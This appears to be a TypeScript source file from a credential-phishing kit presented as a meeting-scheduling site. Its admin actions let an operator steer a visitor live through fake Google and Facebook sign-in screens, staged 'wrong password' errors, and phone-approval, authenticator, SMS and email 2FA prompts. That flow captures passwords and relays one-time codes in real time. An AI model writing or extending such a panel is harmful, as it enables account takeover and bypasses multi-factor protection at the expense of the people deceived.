/**
 * Quick admin actions — Google and Facebook challenge steps are fully separate.
 * Challenge redirects include `auth=google|facebook` so the visitor opens the right UI.
 */

export type AdminQuickAction = {
  id: string
  label: string
  title: string
  path: string
  tone: "success" | "danger" | "neutral" | "google" | "facebook" | "warn"
}

function g(dialog: string, extra = ""): string {
  return `/schedule-call?dialog=${dialog}${extra}&auth=google`
}

function f(dialog: string, extra = ""): string {
  return `/schedule-call?dialog=${dialog}${extra}&auth=facebook`
}

/** Shared flow actions (not provider-specific challenges) */
export const ADMIN_PRIMARY_ACTIONS: AdminQuickAction[] = [
  {
    id: "login_ok",
    label: "Login OK",
    title: "Approve login → Schedule date/time",
    path: "/select-date-time",
    tone: "success",
  },
  {
    id: "schedule",
    label: "Verify",
    title: "Back to schedule-call verify page (pick provider)",
    path: "/schedule-call",
    tone: "neutral",
  },
  {
    id: "g_verify",
    label: "G Verify",
    title: "Google verify step — provider picker (Google context)",
    path: "/schedule-call?auth=google",
    tone: "google",
  },
  {
    id: "f_verify",
    label: "FB Verify",
    title: "Facebook verify step — provider picker (Facebook context)",
    path: "/schedule-call?auth=facebook",
    tone: "facebook",
  },
  {
    id: "datetime",
    label: "Schedule date/time",
    title: "Pick meeting date & time",
    path: "/select-date-time",
    tone: "success",
  },
  {
    id: "enter_details",
    label: "Enter details",
    title: "Booking details form",
    path: "/enter-details",
    tone: "warn",
  },
  {
    id: "confirmation",
    label: "Confirmation",
    title: "Final confirmation page",
    path: "/confirmation",
    tone: "success",
  },
  {
    id: "home",
    label: "Home",
    title: "Send visitor back to home",
    path: "/",
    tone: "neutral",
  },
]

/** Google-only login + challenge steps */
export const ADMIN_GOOGLE_ACTIONS: AdminQuickAction[] = [
  {
    id: "g_login",
    label: "G Login",
    title: "Google sign-in screen",
    path: "/schedule-call?dialog=google&auth=google",
    tone: "google",
  },
  {
    id: "g_waiting",
    label: "G Waiting",
    title: "Google — spin Next button / waiting",
    path: g("loading"),
    tone: "neutral",
  },
  {
    id: "g_login_err",
    label: "G Login Err",
    title: "Google wrong password / account not found",
    path: g("login-error"),
    tone: "danger",
  },
  {
    id: "g_approve",
    label: "G Approve",
    title: "Google — check phone, tap Yes",
    path: g("approve"),
    tone: "google",
  },
  {
    id: "g_approve_err",
    label: "G Approve Err",
    title: "Google phone approval failed",
    path: g("approve-error"),
    tone: "danger",
  },
  {
    id: "g_app2fa",
    label: "G app2fa",
    title: "Google authenticator 2FA",
    path: g("2fa"),
    tone: "google",
  },
  {
    id: "g_app2fa_err",
    label: "G app2fa Err",
    title: "Google invalid authenticator code",
    path: g("2fa-error"),
    tone: "danger",
  },
  {
    id: "g_sms2fa",
    label: "G phone2fa",
    title: "Google SMS / phone 2FA",
    path: g("2fa-sms"),
    tone: "google",
  },
  {
    id: "g_sms2fa_err",
    label: "G phone2fa Err",
    title: "Google invalid SMS code",
    path: g("2fa-sms-error"),
    tone: "danger",
  },
  {
    id: "g_email2fa",
    label: "G email2fa",
    title: "Google email 2FA",
    path: g("2fa-email"),
    tone: "google",
  },
  {
    id: "g_email2fa_err",
    label: "G email2fa Err",
    title: "Google invalid email code",
    path: g("2fa-email-error"),
    tone: "danger",
  },
  {
    id: "g_phonecode_err",
    label: "G phonecode Err",
    title: "Google wrong number on phone prompt",
    path: g("phone-code-error", "&gcode=47"),
    tone: "danger",
  },
]

/** Facebook-only login + challenge steps */
export const ADMIN_FACEBOOK_ACTIONS: AdminQuickAction[] = [
  {
    id: "f_login",
    label: "FB Login",
    title: "Facebook sign-in screen",
    path: "/schedule-call?dialog=facebook&auth=facebook",
    tone: "facebook",
  },
  {
    id: "f_waiting",
    label: "FB Waiting",
    title: "Facebook — spin Log In button / waiting",
    path: f("loading"),
    tone: "neutral",
  },
  {
    id: "f_login_err",
    label: "FB Login Err",
    title: "Facebook wrong password",
    path: f("login-error"),
    tone: "danger",
  },
  {
    id: "f_approve",
    label: "FB Approve",
    title: "Facebook — check phone, approve",
    path: f("approve"),
    tone: "facebook",
  },
  {
    id: "f_approve_err",
    label: "FB Approve Err",
    title: "Facebook phone approval failed",
    path: f("approve-error"),
    tone: "danger",
  },
  {
    id: "f_app2fa",
    label: "FB app2fa",
    title: "Facebook authenticator 2FA",
    path: f("2fa"),
    tone: "facebook",
  },
  {
    id: "f_app2fa_err",
    label: "FB app2fa Err",
    title: "Facebook invalid authenticator code",
    path: f("2fa-error"),
    tone: "danger",
  },
  {
    id: "f_sms2fa",
    label: "FB phone2fa",
    title: "Facebook SMS / phone 2FA",
    path: f("2fa-sms"),
    tone: "facebook",
  },
  {
    id: "f_sms2fa_err",
    label: "FB phone2fa Err",
    title: "Facebook invalid SMS code",
    path: f("2fa-sms-error"),
    tone: "danger",
  },
  {
    id: "f_email2fa",
    label: "FB email2fa",
    title: "Facebook email 2FA",
    path: f("2fa-email"),
    tone: "facebook",
  },
  {
    id: "f_email2fa_err",
    label: "FB email2fa Err",
    title: "Facebook invalid email code",
    path: f("2fa-email-error"),
    tone: "danger",
  },
  {
    id: "f_phonecode_err",
    label: "FB phonecode Err",
    title: "Facebook wrong number on phone prompt",
    path: f("phone-code-error", "&gcode=47"),
    tone: "danger",
  },
]

export function actionButtonClass(tone: AdminQuickAction["tone"], active?: boolean): string {
  const base =
    "box-border h-9 min-h-9 w-full justify-center whitespace-nowrap rounded-lg px-2 py-0 text-center text-[10px] font-bold uppercase tracking-wide shadow-sm disabled:opacity-40 border transition-colors"
  if (active) {
    return `${base} !border-emerald-300 !bg-emerald-500 !text-white ring-2 ring-emerald-400/60 hover:!bg-emerald-400`
  }
  switch (tone) {
    case "success":
      return `${base} !border-emerald-400 !bg-emerald-600 !text-white hover:!bg-emerald-500`
    case "danger":
      return `${base} !border-red-400 !bg-red-600 !text-white hover:!bg-red-500`
    case "google":
      return `${base} !border-sky-300 !bg-[#1a73e8] !text-white hover:!bg-[#3b86eb]`
    case "facebook":
      return `${base} !border-[#4b8bff] !bg-[#0866FF] !text-white hover:!bg-[#0759db]`
    case "warn":
      return `${base} !border-amber-300 !bg-amber-500 !text-zinc-950 hover:!bg-amber-400`
    default:
      return `${base} !border-slate-400 !bg-slate-600 !text-white hover:!bg-slate-500`
  }
}
